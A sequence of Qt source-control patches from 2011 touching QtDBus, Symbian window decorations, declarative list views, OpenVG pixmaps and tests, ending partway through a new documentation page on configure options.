--- src/dbus/qdbusmetaobject.cpp | 18 +++++++++++++++++- tools/qdbus/qdbus/qdbus.cpp | 11 +++++++++-- 2 files changed, 26 insertions(+), 3 deletions(-) diff --git a/src/dbus/qdbusmetaobject.cpp b/src/dbus/qdbusmetaobject.cpp index 5fe0589..6683505 100644 --- a/src/dbus/qdbusmetaobject.cpp +++ b/src/dbus/qdbusmetaobject.cpp @@ -169,6 +169,8 @@ QDBusMetaObjectGenerator::QDBusMetaObjectGenerator(const QString &interfaceName, } } +Q_DBUS_EXPORT bool qt_dbus_metaobject_skip_annotations = false; + QDBusMetaObjectGenerator::Type QDBusMetaObjectGenerator::findType(const QByteArray &signature, const QDBusIntrospection::Annotations &annotations, @@ -178,7 +180,7 @@ QDBusMetaObjectGenerator::findType(const QByteArray &signature, result.id = QVariant::Invalid; int type = QDBusMetaType::signatureToType(signature); - if (type == QVariant::Invalid) { + if (type == QVariant::Invalid && !qt_dbus_metaobject_skip_annotations) { // it's not a type normally handled by our meta type system // it must contain an annotation QString annotationName = QString::fromLatin1("com.trolltech.QtDBus.QtTypeName"); @@ -201,6 +203,20 @@ QDBusMetaObjectGenerator::findType(const QByteArray &signature, return result; // unknown type is invalid too result.name = typeName; + } else if (type == QVariant::Invalid) { + // this case is used only by the qdbus command-line tool + // invalid, let's create an impossible type that contains the signature + + if (signature == "av") { + result.name = "QVariantList"; + type = QVariant::List; + } else if (signature == "a{sv}") { + result.name = "QVariantMap"; + type = QVariant::Map; + } else { + result.name = "QDBusRawType::" + signature; + type = -1; + } } else { result.name = QVariant::typeToName( QVariant::Type(type) ); } diff --git a/tools/qdbus/qdbus/qdbus.cpp b/tools/qdbus/qdbus/qdbus.cpp index 6ec8224..4e5cf9a 100644 --- a/tools/qdbus/qdbus/qdbus.cpp +++ b/tools/qdbus/qdbus/qdbus.cpp @@ -50,6 +50,8 @@ #include #include +Q_DBUS_EXPORT extern bool qt_dbus_metaobject_skip_annotations; + static QDBusConnection connection(QLatin1String("")); static bool printArgumentsLiterally = false; @@ -99,7 +101,7 @@ static void printArg(const QVariant &v) else if (arg.currentSignature() == QLatin1String("a{sv}")) printArg(qdbus_cast(arg)); else - printf("qdbus: I don't know how to display an argument of type '%s'\n", + printf("qdbus: I don't know how to display an argument of type '%s', run with --literal.\n", qPrintable(arg.currentSignature())); } else { printf("%s\n", qPrintable(v.toString())); @@ -311,7 +313,11 @@ static int placeCall(const QString &service, const QString &path, const QString int id = QVariant::nameToType(types.at(i)); if (id == QVariant::UserType) id = QMetaType::type(types.at(i)); - Q_ASSERT(id); + if (!id) { + fprintf(stderr, "Cannot call method '%s' because type '%s' is unknown to this tool\n", + qPrintable(member), types.at(i).constData()); + return 1; + } QVariant p; QString argument; @@ -435,6 +441,7 @@ static void printAllServices(QDBusConnectionInterface *bus) int main(int argc, char **argv) { + qt_dbus_metaobject_skip_annotations = true; QCoreApplication app(argc, argv); QStringList args = app.arguments(); args.takeFirst(); -- cgit v0.12 From 2b72330127cf045d324bc20dfbc9fac2d12c6cdb Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Fri, 28 Jan 2011 16:43:56 +0100 Subject: QtDBus: do not wait for reply for AddMatch and RemoveMatch We can't recover from these functions failing anyway, so don't ask for an error condition. The D-Bus library will set the no-reply flag under these conditions. Reviewed-by: Will Thompson --- src/dbus/qdbusintegrator.cpp | 38 ++++++++++++++------------------------ 1 file changed, 14 insertions(+), 24 deletions(-) diff --git a/src/dbus/qdbusintegrator.cpp b/src/dbus/qdbusintegrator.cpp index 2e7b052..bc03896 100644 --- a/src/dbus/qdbusintegrator.cpp +++ b/src/dbus/qdbusintegrator.cpp @@ -2074,30 +2074,20 @@ void QDBusConnectionPrivate::connectSignal(const QString &key, const SignalHook if (connection) { qDBusDebug("Adding rule: %s", hook.matchRule.constData()); - QDBusErrorInternal error; - q_dbus_bus_add_match(connection, hook.matchRule, error); - if (!!error) { - QDBusError qerror = error; - qWarning("QDBusConnectionPrivate::connectSignal: received error from D-Bus server " - "while connecting signal to %s::%s: %s (%s)", - hook.obj->metaObject()->className(), - hook.obj->metaObject()->method(hook.midx).signature(), - qPrintable(qerror.name()), qPrintable(qerror.message())); - Q_ASSERT(false); - } else { - // Successfully connected the signal - // Do we need to watch for this name? - if (shouldWatchService(hook.service)) { - WatchedServicesHash::mapped_type &data = watchedServices[hook.service]; - if (++data.refcount == 1) { - // we need to watch for this service changing - connectSignal(dbusServiceString(), QString(), dbusInterfaceString(), - QLatin1String("NameOwnerChanged"), QStringList() << hook.service, QString(), - this, SLOT(serviceOwnerChangedNoLock(QString,QString,QString))); - data.owner = getNameOwnerNoCache(hook.service); - qDBusDebug() << this << "Watching service" << hook.service << "for owner changes (current owner:" - << data.owner << ")"; - } + q_dbus_bus_add_match(connection, hook.matchRule, NULL); + + // Successfully connected the signal + // Do we need to watch for this name? + if (shouldWatchService(hook.service)) { + WatchedServicesHash::mapped_type &data = watchedServices[hook.service]; + if (++data.refcount == 1) { + // we need to watch for this service changing + connectSignal(dbusServiceString(), QString(), dbusInterfaceString(), + QLatin1String("NameOwnerChanged"), QStringList() << hook.service, QString(), + this, SLOT(serviceOwnerChangedNoLock(QString,QString,QString))); + data.owner = getNameOwnerNoCache(hook.service); + qDBusDebug() << this << "Watching service" << hook.service << "for owner changes (current owner:" + << data.owner << ")"; } } } -- cgit v0.12 From 9ae73fcd011e26c920f91cf0b609f051c14920a8 Mon Sep 17 00:00:00 2001 From: Jani Hautakangas Date: Sun, 6 Feb 2011 23:48:39 +0200 Subject: Fix native child window Symbian decoration handling. Resizing native child window like QVideoWidget caused S60 cba and status pane to appear. Task-number: QTBUG-17040 Reviewed-by: Gareth Stockwell --- src/gui/kernel/qapplication_s60.cpp | 14 ++++++++------ src/gui/kernel/qwidget_s60.cpp | 24 +++++++++++++++--------- 2 files changed, 23 insertions(+), 15 deletions(-) diff --git a/src/gui/kernel/qapplication_s60.cpp b/src/gui/kernel/qapplication_s60.cpp index 40a7ec6..6bddb19 100644 --- a/src/gui/kernel/qapplication_s60.cpp +++ b/src/gui/kernel/qapplication_s60.cpp @@ -1245,12 +1245,14 @@ void QSymbianControl::FocusChanged(TDrawNow /* aDrawNow */) #ifdef Q_WS_S60 // If widget is fullscreen/minimized, hide status pane and button container otherwise show them. QWidget *const window = qwidget->window(); - const bool visible = !(window->windowState() & (Qt::WindowFullScreen | Qt::WindowMinimized)); - const bool statusPaneVisibility = visible; - const bool isFullscreen = window->windowState() & Qt::WindowFullScreen; - const bool cbaVisibilityHint = window->windowFlags() & Qt::WindowSoftkeysVisibleHint; - const bool buttonGroupVisibility = (visible || (isFullscreen && cbaVisibilityHint)); - S60->setStatusPaneAndButtonGroupVisibility(statusPaneVisibility, buttonGroupVisibility); + if (!window->parentWidget()) { // Only top level native windows have control over cba/status pane + const bool decorationsVisible = !(window->windowState() & (Qt::WindowFullScreen | Qt::WindowMinimized)); + const bool statusPaneVisibility = decorationsVisible; + const bool isFullscreen = window->windowState() & Qt::WindowFullScreen; + const bool cbaVisibilityHint = window->windowFlags() & Qt::WindowSoftkeysVisibleHint; + const bool buttonGroupVisibility = (decorationsVisible || (isFullscreen && cbaVisibilityHint)); + S60->setStatusPaneAndButtonGroupVisibility(statusPaneVisibility, buttonGroupVisibility); + } #endif } else if (QApplication::activeWindow() == qwidget->window()) { bool focusedControlFound = false; diff --git a/src/gui/kernel/qwidget_s60.cpp b/src/gui/kernel/qwidget_s60.cpp index 6af809f..1551162 100644 --- a/src/gui/kernel/qwidget_s60.cpp +++ b/src/gui/kernel/qwidget_s60.cpp @@ -485,6 +485,7 @@ void QWidgetPrivate::show_sys() QSymbianControl *id = static_cast(q->internalWinId()); const bool isFullscreen = q->windowState() & Qt::WindowFullScreen; + const TBool cbaRequested = q->windowFlags() & Qt::WindowSoftkeysVisibleHint; #ifdef Q_WS_S60 // Lazily initialize the S60 screen furniture when the first window is shown. @@ -504,6 +505,8 @@ void QWidgetPrivate::show_sys() CEikButtonGroupContainer *cba = CEikButtonGroupContainer::NewL(CEikButtonGroupContainer::ECba, CEikButtonGroupContainer::EHorizontal,ui,R_AVKON_SOFTKEYS_EMPTY_WITH_IDS); + if (isFullscreen && !cbaRequested) + cba->MakeVisible(false); CEikButtonGroupContainer *oldCba = factory->SwapButtonGroup(cba); Q_ASSERT(!oldCba); @@ -1169,14 +1172,17 @@ void QWidget::setWindowState(Qt::WindowStates newstate) } #ifdef Q_WS_S60 - // Hide window decoration when switching to fullsccreen / minimized otherwise show decoration. - // The window decoration visibility has to be changed before doing actual window state - // change since in that order the availableGeometry will return directly the right size and - // we will avoid unnecessarty redraws - const bool visible = !(newstate & (Qt::WindowFullScreen | Qt::WindowMinimized)); - const bool statusPaneVisibility = visible; - const bool buttonGroupVisibility = (visible || (isFullscreen && cbaRequested)); - S60->setStatusPaneAndButtonGroupVisibility(statusPaneVisibility, buttonGroupVisibility); + bool decorationsVisible(false); + if (!parentWidget()) { // Only top level native windows have control over cba/status pane + // Hide window decoration when switching to fullscreen / minimized otherwise show decoration. + // The window decoration visibility has to be changed before doing actual window state + // change since in that order the availableGeometry will return directly the right size and + // we will avoid unnecessary redraws + decorationsVisible = !(newstate & (Qt::WindowFullScreen | Qt::WindowMinimized)); + const bool statusPaneVisibility = decorationsVisible; + const bool buttonGroupVisibility = (decorationsVisible || (isFullscreen && cbaRequested)); + S60->setStatusPaneAndButtonGroupVisibility(statusPaneVisibility, buttonGroupVisibility); + } #endif // Q_WS_S60 // Ensure the initial size is valid, since we store it as normalGeometry below. @@ -1200,7 +1206,7 @@ void QWidget::setWindowState(Qt::WindowStates newstate) // accurate because it did not consider the status pane. This means that when returning // normal mode after showing the status pane, the geometry would overlap so we should // move it if it never had an explicit position. - if (!wasMoved && S60->statusPane() && visible) { + if (!wasMoved && S60->statusPane() && decorationsVisible) { TPoint tl = static_cast(S60->appUi())->ClientRect().iTl; normalGeometry.setTopLeft(QPoint(tl.iX, tl.iY)); } -- cgit v0.12 From 24d8e96624af91ab01a20c10625858300f16099b Mon Sep 17 00:00:00 2001 From: Yann Bodson Date: Mon, 7 Feb 2011 10:03:25 +1000 Subject: Disable lineHeight test while implementing the feature in master properly. --- tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp index 320a6e7..44059f5 100644 --- a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp +++ b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp @@ -1113,13 +1113,13 @@ void tst_qdeclarativetext::lineHeight() myText->setLineHeightMode(QDeclarativeText::MultiplyHeight); myText->setLineHeight(1); - qreal h2 = myText->height(); + //qreal h2 = myText->height(); myText->setLineHeight(2.0); - QVERIFY(myText->height() == h2 * 2.0); + //QVERIFY(myText->height() == h2 * 2.0); myText->setLineHeightMode(QDeclarativeText::PixelHeight); myText->setLineHeight(10); - QCOMPARE(myText->height(), myText->lineCount() * 10.0); + //QCOMPARE(myText->height(), myText->lineCount() * 10.0); delete canvas; } -- cgit v0.12 From 27339962c023820ef9cd76843e256c7f3d624116 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Mon, 7 Feb 2011 11:23:49 +1000 Subject: Make test compile --- .../declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp index 820a282..ba52987 100644 --- a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp +++ b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp @@ -593,12 +593,12 @@ void tst_QDeclarativeRepeater::modelChanged() repeater->setModel(4); QCOMPARE(repeater->count(), 4); - QCOMPARE(repeater->property("itemsCount"), 4); + QCOMPARE(repeater->property("itemsCount").toInt(), 4); QCOMPARE(repeater->property("itemsFound").toList().count(), 4); repeater->setModel(10); QCOMPARE(repeater->count(), 10); - QCOMPARE(repeater->property("itemsCount"), 10); + QCOMPARE(repeater->property("itemsCount").toInt(), 10); QCOMPARE(repeater->property("itemsFound").toList().count(), 10); delete rootObject; -- cgit v0.12 From e57716ad44e5894890d662f9ac596b70c109104f Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 7 Feb 2011 10:59:38 +1000 Subject: Ensure section delegates are updated when the section property changes. If the section property changes and the existing section delegate is reused the section property in the delegate must be updated. Change-Id: I6c3dcdb697e80e1ab5162a179da52e0a0f41144c Task-number: QTBUG-17068 Reviewed-by: Bea Lam --- .../graphicsitems/qdeclarativelistview.cpp | 3 ++ .../data/listview-sections_delegate.qml | 63 ++++++++++++++++++++++ .../tst_qdeclarativelistview.cpp | 53 ++++++++++++++++++ 3 files changed, 119 insertions(+) create mode 100644 tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index 075c3af..bb5bd75 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -936,6 +936,9 @@ void QDeclarativeListViewPrivate::createSection(FxListItem *listItem) } } listItem->setPosition(pos); + } else { + QDeclarativeContext *context = QDeclarativeEngine::contextForObject(listItem->section)->parentContext(); + context->setContextProperty(QLatin1String("section"), listItem->attached->m_section); } } else if (listItem->section) { qreal pos = listItem->position(); diff --git a/tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml b/tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml new file mode 100644 index 0000000..35a398b --- /dev/null +++ b/tests/auto/declarative/qdeclarativelistview/data/listview-sections_delegate.qml @@ -0,0 +1,63 @@ +import QtQuick 1.0 + +Rectangle { + width: 240 + height: 320 + color: "#ffffff" + resources: [ + Component { + id: myDelegate + Item { + id: wrapper + objectName: "wrapper" + height: 20; + width: 240 + Rectangle { + height: 20 + width: parent.width + color: wrapper.ListView.isCurrentItem ? "lightsteelblue" : "white" + Text { + text: index + } + Text { + x: 30 + id: textName + objectName: "textName" + text: name + } + Text { + x: 100 + id: textNumber + objectName: "textNumber" + text: number + } + Text { + objectName: "nextSection" + x: 150 + text: wrapper.ListView.nextSection + } + Text { + x: 200 + text: wrapper.y + } + } + } + } + ] + ListView { + id: list + objectName: "list" + width: 240 + height: 320 + model: testModel + delegate: myDelegate + section.property: "number" + section.delegate: Rectangle { + objectName: "sect_" + section + color: "#99bb99" + height: 20 + width: list.width + Text { text: section } + } + } +} diff --git a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp index 86b68ca..8df0bb9 100644 --- a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp +++ b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp @@ -90,6 +90,7 @@ private slots: void enforceRange(); void spacing(); void sections(); + void sectionsDelegate(); void cacheBuffer(); void positionViewAtIndex(); void resetModel(); @@ -1017,6 +1018,58 @@ void tst_QDeclarativeListView::sections() delete canvas; } +void tst_QDeclarativeListView::sectionsDelegate() +{ + QDeclarativeView *canvas = createView(); + + TestModel model; + for (int i = 0; i < 30; i++) + model.addItem("Item" + QString::number(i), QString::number(i/5)); + + QDeclarativeContext *ctxt = canvas->rootContext(); + ctxt->setContextProperty("testModel", &model); + + canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listview-sections_delegate.qml")); + qApp->processEvents(); + + QDeclarativeListView *listview = findItem(canvas->rootObject(), "list"); + QTRY_VERIFY(listview != 0); + + QDeclarativeItem *contentItem = listview->contentItem(); + QTRY_VERIFY(contentItem != 0); + + // Confirm items positioned correctly + int itemCount = findItems(contentItem, "wrapper").count(); + for (int i = 0; i < model.count() && i < itemCount; ++i) { + QDeclarativeItem *item = findItem(contentItem, "wrapper", i); + QTRY_VERIFY(item); + QTRY_COMPARE(item->y(), qreal(i*20 + ((i+5)/5) * 20)); + QDeclarativeText *next = findItem(item, "nextSection"); + QCOMPARE(next->text().toInt(), (i+1)/5); + } + + for (int i = 0; i < 3; ++i) { + QDeclarativeItem *item = findItem(contentItem, "sect_" + QString::number(i)); + QVERIFY(item); + QTRY_COMPARE(item->y(), qreal(i*20*6)); + } + + model.modifyItem(0, "One", "aaa"); + model.modifyItem(1, "Two", "aaa"); + model.modifyItem(2, "Three", "aaa"); + model.modifyItem(3, "Four", "aaa"); + model.modifyItem(4, "Five", "aaa"); + + for (int i = 0; i < 3; ++i) { + QDeclarativeItem *item = findItem(contentItem, + "sect_" + (i == 0 ? QString("aaa") : QString::number(i))); + QVERIFY(item); + QTRY_COMPARE(item->y(), qreal(i*20*6)); + } + + delete canvas; +} + void tst_QDeclarativeListView::currentIndex() { TestModel model; -- cgit v0.12 From 6bd233953ac87603ddee8c5f087fbe523dd3793e Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 7 Feb 2011 14:24:36 +1000 Subject: Changing header/footer size during creation caused recusion If the size of the header or footer was changed during creation it would trigger itemGeometryChanged() which called updateHeader() and updateFooter() thereby causing recusion. We should only call those methods if the header/footer is already created. Change-Id: Ia2ae4047d745d1f301d243278550e65854fa830a Task-number: QT-4439 Reviewed-by: Joona Petrell --- src/declarative/graphicsitems/qdeclarativegridview.cpp | 6 ++++-- src/declarative/graphicsitems/qdeclarativelistview.cpp | 6 ++++-- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index 9aade98..c2c4ed7 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -331,8 +331,10 @@ public: } } } else if ((header && header->item == item) || (footer && footer->item == item)) { - updateHeader(); - updateFooter(); + if (header) + updateHeader(); + if (footer) + updateFooter(); } } diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index bb5bd75..800e82e 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -413,8 +413,10 @@ public: } } if ((header && header->item == item) || (footer && footer->item == item)) { - updateHeader(); - updateFooter(); + if (header) + updateHeader(); + if (footer) + updateFooter(); } if (currentItem && currentItem->item == item) updateHighlight(); -- cgit v0.12 From 512b53969408fdd9c0a2950f3249fd3ca07b319e Mon Sep 17 00:00:00 2001 From: Laszlo Agocs Date: Fri, 4 Feb 2011 15:44:07 +0200 Subject: Fix the broken QPixmap::fromSymbianRSgImage(). The retrieved VGImage handle was accidentally assigned to a local variable instead of the member with the same name so it always ended up creating an empty pixmap. Reviewed-by: Jani Hautakangas --- src/openvg/qvg_symbian.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/openvg/qvg_symbian.cpp b/src/openvg/qvg_symbian.cpp index 3ee1181..2ea38c1 100644 --- a/src/openvg/qvg_symbian.cpp +++ b/src/openvg/qvg_symbian.cpp @@ -147,7 +147,7 @@ void QVGPixmapData::fromNativeType(void* pixmap, NativeType type) destroyImages(); prevSize = QSize(); - VGImage vgImage = sgImageToVGImage(context, *sgImage); + vgImage = sgImageToVGImage(context, *sgImage); if (vgImage != VG_INVALID_HANDLE) { w = vgGetParameteri(vgImage, VG_IMAGE_WIDTH); h = vgGetParameteri(vgImage, VG_IMAGE_HEIGHT); -- cgit v0.12 From b1d877e32361e8ca5c092a4df4528e5aa868008f Mon Sep 17 00:00:00 2001 From: Shane Kearns Date: Mon, 7 Feb 2011 10:06:36 +0000 Subject: Fix namespace error Reviewed-by: Olivier Goffart --- src/network/bearer/qnetworksession.h | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/network/bearer/qnetworksession.h b/src/network/bearer/qnetworksession.h index 0bca4b6..7739218 100644 --- a/src/network/bearer/qnetworksession.h +++ b/src/network/bearer/qnetworksession.h @@ -139,15 +139,15 @@ private: friend class QNetworkSessionPrivate; }; -Q_DECLARE_METATYPE(QNetworkSession::State); -Q_DECLARE_METATYPE(QNetworkSession::SessionError); - #ifndef QT_MOBILITY_BEARER QT_END_NAMESPACE #else QTM_END_NAMESPACE #endif +Q_DECLARE_METATYPE(QNetworkSession::State); +Q_DECLARE_METATYPE(QNetworkSession::SessionError); + QT_END_HEADER #endif // QT_NO_BEARERMANAGEMENT -- cgit v0.12 From 776a00b3e8a29552a5db65fb539c0802654bfdff Mon Sep 17 00:00:00 2001 From: Morten Engvoldsen Date: Mon, 7 Feb 2011 11:26:57 +0100 Subject: Doc: Adding documentation on configure options for Qt configure --- doc/src/getting-started/installation.qdoc | 287 ++++++++++++++++++++++++++++++ 1 file changed, 287 insertions(+) diff --git a/doc/src/getting-started/installation.qdoc b/doc/src/getting-started/installation.qdoc index d39bb39..c906f84 100644 --- a/doc/src/getting-started/installation.qdoc +++ b/doc/src/getting-started/installation.qdoc @@ -1298,3 +1298,290 @@ We hope you will enjoy using Qt. \sa {Known Issues} */ + +/*! + \page configure-options.html + \title Configure options for Qt + \ingroup installation + \brief Brief description of available options building Qt. + + This page gives a brief description of the different options + available when building Qt using configure. To build Qt using + default options, just call configure from the command line like + showed below. If you would like to customize your build, please + use the options listed in the following tables. + + \c {.\configure.exe} + + \section2 Cross platform options: + + \table + \header \o Option \o Description \o Note + \row \o \c {-buildkey } \o Build the Qt library and plugins + using the specified \o + \row \o \c {} \o When the library loads plugins, it will only + load those that have a matching . \o + \row \o \c {-release } \o Compile and link Qt with debugging turned off. \o + \row \o \c {-debug } \o Compile and link Qt with debugging turned on. + \o Defualt value. + \row \o \c {-debug-and-release} \o Compile and link two Qt libraries, + with and without debugging turned on. \o This option denotes a default + value and needs to be evaluated. If the evaluation succeeds, the + feature is included. + \row \o \c {-opensource} \o Compile and link the Open-Source Edition + of Qt. \o + \row \o \c {-commercial } \o Compile and link the Commercial Edition + of Qt. \o + \row \o \c {-developer-build} \o Compile and link Qt with Qt developer + options including auto-tests exporting) \o + \row \o \c {-shared} \o Create and use shared Qt libraries. \o Defualt + value. + \row \o \c {-static} \o Create and use static Qt libraries. \o + \row \o \c {-ltcg} \o Use Link Time Code Generation. \o Apply to release + builds only. + \row \o \c {-no-ltcg} \o Do not use Link Time Code Generation. \o Defualt + value. + \row \o \c {-no-fast} \o Configure Qt normally by generating Makefiles for + all project files. \o Defualt value. + \row \o \c {-fast} \o Configure Qt quickly by generating Makefiles only for + library and subdirectory targets. \o All other Makefiles are created as + wrappers which will in turn run qmake. + \row \o \c {-no-exceptions} \o Disable exceptions on platforms that support + it. \o + \row \o \c {-exceptions} \o Enable exceptions on platforms that support it. + \o Defualt value. + \row \o \c {-no-accessibility} \o Do not compile Windows Active + Accessibility support. \o + \row \o \c {-accessibility} \o Compile Windows Active Accessibility + support. \o Defualt value. + \row \o \c {-no-stl} \o Do not compile STL support. \o + \row \o \c {-stl} \o Compile STL support. \o Defualt value. + \row \o \c {-no-sql-} \o Disable SQL entirely, by default + none are turned on. \o + \row \o \c {-qt-sql-} \o Enable a SQL in the Qt Library. + \o + \row \o \c {-plugin-sql-} \o Enable SQL as a plugin to be + linked to at run time. \o Available values for : mysql, psql, + oci, odbc, tds, db2, sqlite, sqlite2, ibase. Drivers marked with a + '+' during configure have been detected as available on this system. + \row \o \c {-system-sqlite} \o Use sqlite from the operating system. \o + \row \o \c {-no-qt3support} \o Disables the Qt 3 support functionality. \o + \row \o \c {-no-opengl} \o Disables OpenGL functionality \o + \row \o \c {-opengl } \o Enable OpenGL support with specified API + version. \o Available values for : desktop - Enable support for + Desktop OpenGL (Default), es1 - Enable support for OpenGL ES Common + Profile, es2 - Enable support for OpenGL ES 2.0. + \row \o \c {-no-openvg} \o Disables OpenVG functionality \o Defualt value. + \row \o \c {-openvg} \o Enables OpenVG functionality \o Requires EGL + support, typically supplied by an OpenGL or other graphics + implementation. + \row \o \c {-platform } \o The operating system and compiler you + are building on. \o The default value is %QMAKESPEC%. + \row \o \c {-xplatform } \o The operating system and compiler you + are cross compiling to. \o See the README file for a list of supported + operating systems and compilers. + \row \o \c {-qtnamespace } \o Wraps all Qt library code in + 'namespace name {..} \o + \row \o \c {-qtlibinfix } \o Renames all Qt* libs to Qt* + \o + \row \o \c {-D } \o Add an explicit define to the preprocessor. + \o + \row \o \c {-I } \o Add an explicit include path. \o + \row \o \c {-L } \o Add an explicit library path. \o + \row \o \c {-l } \o Add an explicit library name, residing + in a librarypath. \o + \row \o \c {-graphicssystem } \o Specify which graphicssystem should + be used. \o Available values for : * raster - Software rasterizer, + opengl - Using OpenGL acceleration, experimental!, openvg - Using + OpenVG acceleration, experimental! + \row \o \c {-help, -h, -?} \o Display this information. \o + \endtable + + \section2 Third Party Libraries: + \table + \header \o Option \o Description \o Note + \row \o \c {-qt-zlib} \o Use the zlib bundled with Qt. \o + \row \o \c {-system-zlib} \o Use zlib from the operating system. + \o See http://www.gzip.org/zlib + \row \o \c {-no-gif} \o Do not compile GIF reading support. + \o This option denotes a default value and needs to be evaluated. + If the evaluation succeeds, the feature is included. + \row \o \c {-qt-gif} \o Compile GIF reading support. \o See also + src/gui/image/qgifhandler_p.h + \row \o \c {-no-libpng} \o Do not compile PNG support. \o + \row \o \c {-qt-libpng} \o Use the libpng bundled with Qt. + \o This option denotes a default value and needs to be evaluated. + If the evaluation succeeds, the feature is included. + \row \o \c {-system-libpng} \o Use libpng from the operating system. + \o See http://www.libpng.org/pub/png + \row \o \c {-no-libmng} \o Do not compile MNG support. \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-qt-libmng} \o Use the libmng bundled with Qt. \o + \row \o \c {-system-libmng} \o Use libmng from the operating system. + \o See See http://www.libmng.com + \row \o \c {-no-libtiff} \o Do not compile TIFF support. \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-qt-libtiff} \o Use the libtiff bundled with Qt. \o + \row \o \c {-system-libtiff} \o Use libtiff from the operating system. + \o See http://www.libtiff.org + \row \o \c {-no-libjpeg} \o Do not compile JPEG support. \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-qt-libjpeg} \o Use the libjpeg bundled with Qt. \o + \row \o \c {-system-libjpeg} \o Use libjpeg from the operating system. + \o See http://www.ijg.org. This option denotes a default value and + needs to be evaluated. If the evaluation succeeds, the feature is + included. + \endtable + + \section2 Qt for Windows only: + \table + \header \o Option \o Description \o Note + \row \o \c {-no-dsp} \o Do not generate VC++ .dsp files. \o + \row \o \c {-dsp} \o Generate VC++ .dsp files, only if spec "win32-msvc". + \o Defualt value. + \row \o \c {-no-vcproj} \o Do not generate VC++ .vcproj files. \o + \row \o \c {-vcproj} \o Generate VC++ .vcproj files, only if platform + "win32-msvc.net". \o Defualt value. + \row \o \c {-no-incredibuild-xge} \o Do not add IncrediBuild XGE distribution + commands to custom build steps. \o + \row \o \c {-incredibuild-xge} \o Add IncrediBuild XGE distribution commands + to custom build steps. This will distribute MOC and UIC steps, and other + custom buildsteps which are added to the INCREDIBUILD_XGE variable. + \o The IncrediBuild distribution commands are only added to Visual Studio + projects. This option denotes a default value and needs to be evaluated. + If the evaluation succeeds, the feature is included. + \row \o \c {-no-plugin-manifests} \o Do not embed manifests in plugins. \o + \row \o \c {-plugin-manifests} \o Embed manifests in plugins. + \o Defualt value. + \row \o \c {-no-qmake} \o Do not compile qmake. \o + \row \o \c {-qmake} \o Compile qmake. \o Defualt value + \row \o \c {-dont-process} \o Do not generate Makefiles/Project files. This + will override -no-fast if specified. \o + \row \o \c {-process} \o Generate Makefiles/Project files. \o Defualt value. + \row \o \c {-no-rtti} \o Do not compile runtime type information. \o + \row \o \c {-rtti} \o Compile runtime type information. \o Defualt value. + \row \o \c {-no-mmx} \o Do not compile with use of MMX instructions \o + \row \o \c {-mmx} \o Compile with use of MMX instructions \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-no-3dnow} \o Do not compile with use of 3DNOW instructions \o + \row \o \c {-3dnow} \o Compile with use of 3DNOW instructions \o This + option denotes a default value and needs to be evaluated. If the + evaluation succeeds, the feature is included. + \row \o \c {-no-sse} \o Do not compile with use of SSE instructions \o + \row \o \c {-sse} \o Compile with use of SSE instructions \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-no-sse2} \o Do not compile with use of SSE2 instructions \o + \row \o \c {-sse2} \o Compile with use of SSE2 instructions \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-no-openssl} \o Do not compile in OpenSSL support \o + \row \o \c {-openssl} \o Compile in run-time OpenSSL support \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-openssl-linked} \o Compile in linked OpenSSL support \o + \row \o \c {-no-dbus} \o Do not compile in D-Bus support \o + \row \o \c {-dbus} \o Compile in D-Bus support and load libdbus-1 dynamically. + \o This option denotes a default value and needs to be evaluated. + If the evaluation succeeds, the feature is included. + \row \o \c {-dbus-linked} \o Compile in D-Bus support and link to + libdbus-1 \o + \row \o \c {-no-phonon} \o Do not compile in the Phonon module \o + \row \o \c {-phonon} \o Compile the Phonon module. \o Phonon is built if a 